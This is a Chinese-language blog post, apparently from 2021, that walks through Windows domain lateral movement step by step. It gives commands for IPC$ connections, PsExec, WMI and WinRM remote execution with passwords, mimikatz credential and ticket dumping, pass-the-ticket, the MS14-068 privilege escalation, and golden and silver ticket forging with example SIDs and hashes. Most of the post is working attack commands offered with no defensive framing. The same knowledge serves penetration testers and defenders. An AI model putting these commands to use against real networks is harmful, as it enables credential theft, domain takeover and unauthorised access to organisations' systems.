内网横向移动思路和技巧

攻击者借助跳板机进一步入侵内网服务器后,接着会通过各种方式来获取目标系统权限,获取用户的明文密码或Hash值在内网中横向移动。

最简单的方式,就是使用明文密码进行登录远程服务器。在这里,我们来总结一下Windows横向移动的思路与攻击手法。


1、IPC连接

通过验证用户名和密码建立与目标机器的IPC$会话连接,查看远程主机的共享资源,执行上传/下载,创建计划任务等操作。

net use \\<DC的IP>\ipc$ "password" /user:"username"

2、PsExec

PsExec是一个轻量级的telnet替代品,它允许您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

返回一个交互式shell:

psexec.exe \\10.1.1.1 -u administrator -p abc123! cmd.exe

同时,Metasploit下也集成了PsExec模块。

3、WMI

WMI即Windows管理规范 是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。

远程创建进程:

wmic /node:10.1.1.1 /user:administrator /password:abc123! process call create "cmd.exe /c ipconfig"

4、WinRM

WinRM指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012以后默认开启。

winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all"

5、哈希传递攻击(Pass the hash)

获取目标用户的哈希,攻击者就可以使用用户的哈希来来模拟用户,获取用户访问权限。

MSF 提供了psexec模块可以进行Hash传递,只使用密码哈希,来执行任意命令:

6、票据传递攻击(Pass the ticket)

获取域控权限后,就可以导出域控内存中的Ticket,用来登录域控。

攻击流程:

第一步:使用mimikatz导出内存中的ticket

mimikatz# sekurlsa::tickets /export

第二步:挑选一个文件,在普通用户的主机进行导入。

第三步:获取域控权限

7、MS14-068

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。前提是需要在域控主机查看是否安装了KB3011780补丁。

攻击流程:

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

mimikatz#kerberos::ptc TGT_bypass@test.com.ccache

第三步:获取权限

PsExec.exe \\dc  cmd.exe

8、黄金票据(Golden Ticket)

黄金票据的原理就是用krbtgt的hash来伪造TGT,只要拥有了高权限的TGT,就可以发送给TGS换取任意服务的ST。

第一步:获取krbtgt的SID和哈希

通过mimikatz命令直接获取krbtgt的SID值和哈希值。

lsadump::dcsync /domain:test.com /user:krbtgt

第二步:伪造黄金票据

使用mimikatz伪造TGT

kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /krbtgt:dc717a226a07d0f6adbcd9c0337c6513 /ticket:golden.kiribi

第三步:获取权限

清空本地票据缓存,导入伪造的黄金票据。

kerberos::list   #查看本地保存的票据kerberos::purge  #清空本地票据缓存kerberos::ptt golden.kiribi #导入伪造的黄金票据 kerberos::list   #重新查看本地保存的票据

第四步:利用伪造的黄金票据

直接利用PsExec.exe来远程登录和执行命令

PsExec.exe \\dc  cmd.exe

9、白银票据(Silver Tickets)

白银票据(Silver Tickets)的原理是伪造 ST(Service Ticket),因此无需经过KDC,直接使用用户账户的hash进行加密,就可以获取指定的访问权限。

伪造的票据只对部分服务起作用,可以利用的服务有以下几种:

Service TypeService Silver Tickers
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP、DCSync LDAP
Windows File Share(CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

第一步:构建场景

同一个域控下的两台主机,使用文件共享方式来访问win-server的文件,提示“拒绝访问”。

第二步 获取NTLM HASH

登录win-server 服务器,使用mimikatz导出hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

第三步:伪造票据

kerberos::golden /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /rc4:943434a10b5134c0b1ef5e8f1ef9b020 /user:test /service:cifs /target:win-server.test.com /ptt

第四步:访问共享文件

posted @ 2021-01-11 19:58  Bypass  阅读(160)  评论(0编辑  收藏